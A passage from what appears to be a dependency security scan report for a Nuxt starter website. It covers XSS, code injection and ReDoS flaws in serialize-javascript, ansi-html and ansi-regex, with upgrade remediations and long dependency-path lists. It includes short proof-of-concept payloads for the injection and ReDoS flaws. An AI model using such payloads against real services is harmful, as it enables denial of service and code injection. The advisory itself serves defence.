Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade serialize-javascript to version 2.1.1 or higher.

References

Cross-site Scripting (XSS) vulnerability report

high severity

Arbitrary Code Injection

  • Vulnerable module: serialize-javascript
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › serialize-javascript@1.9.1
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › serialize-javascript@1.9.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › serialize-javascript@1.9.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › serialize-javascript@1.9.1

…and 1 more

Overview

serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.

Affected versions of this package are vulnerable to Arbitrary Code Injection. An object like {"foo": /1"/, "bar": "a\"@__R-<UID>-0__@"} would be serialized as {"foo": /1"/, "bar": "a\/1"/}, meaning an attacker could escape out of bar if they controlled both foo and bar and were able to guess the value of <UID>. UID is generated once on startup, is chosen using Math.random() and has a keyspace of roughly 4 billion, so within the realm of an online attack.

PoC

eval('('+ serialize({"foo": /1" + console.log(1)/i, "bar": '"@__R-<UID>-0__@'}) + ')');

Remediation

Upgrade serialize-javascript to version 3.1.0 or higher.

References

Arbitrary Code Injection vulnerability report

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ansi-html
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › ansi-html@0.0.7
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › ansi-html@0.0.7
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

ansi-html is an An elegant lib that converts the chalked (ANSI) text to HTML.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, it will get stuck processing the input for an extremely long time.

PoC

require('ansi-html')('x1b[0mx1b[' + '0'.repeat(35))

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ansi-html to version 0.0.9 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ansi-regex
  • Introduced through: node-sass@4.14.1, nuxt@1.4.5 and others

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › friendly-errors-webpack-plugin@1.7.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › opencollective@1.0.3 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › progress-bar-webpack-plugin@1.12.1 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › friendly-errors-webpack-plugin@1.7.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › opencollective@1.0.3 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › progress-bar-webpack-plugin@1.12.1 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › pretty-error@2.1.2 › renderkid@2.0.7 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › opencollective@1.0.3 › inquirer@3.0.6 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › npmlog@4.1.2 › gauge@2.7.4 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to node-sass@7.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › friendly-errors-webpack-plugin@1.7.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › opencollective@1.0.3 › inquirer@3.0.6 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › opencollective@1.0.3 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › progress-bar-webpack-plugin@1.12.1 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › friendly-errors-webpack-plugin@1.7.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › opencollective@1.0.3 › inquirer@3.0.6 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › opencollective@1.0.3 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › progress-bar-webpack-plugin@1.12.1 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › html-webpack-plugin@2.30.1 › pretty-error@2.1.2 › renderkid@2.0.7 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › pretty-error@2.1.2 › renderkid@2.0.7 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › opencollective@1.0.3 › inquirer@3.0.6 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › npmlog@4.1.2 › gauge@2.7.4 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to node-sass@7.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › yargs@8.0.2 › cliui@3.2.0 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › node-gyp@3.8.0 › npmlog@4.1.2 › gauge@2.7.4 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to node-sass@7.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › opencollective@1.0.3 › inquirer@3.0.6 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › opencollective@1.0.3 › inquirer@3.0.6 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › html-webpack-plugin@2.30.1 › pretty-error@2.1.2 › renderkid@2.0.7 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › yargs@8.0.2 › cliui@3.2.0 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › node-gyp@3.8.0 › npmlog@4.1.2 › gauge@2.7.4 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to node-sass@7.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › yargs@8.0.2 › cliui@3.2.0 › wrap-ansi@2.1.0 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › yargs@8.0.2 › cliui@3.2.0 › strip-ansi@3.0.1 › ansi-regex@2.1.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
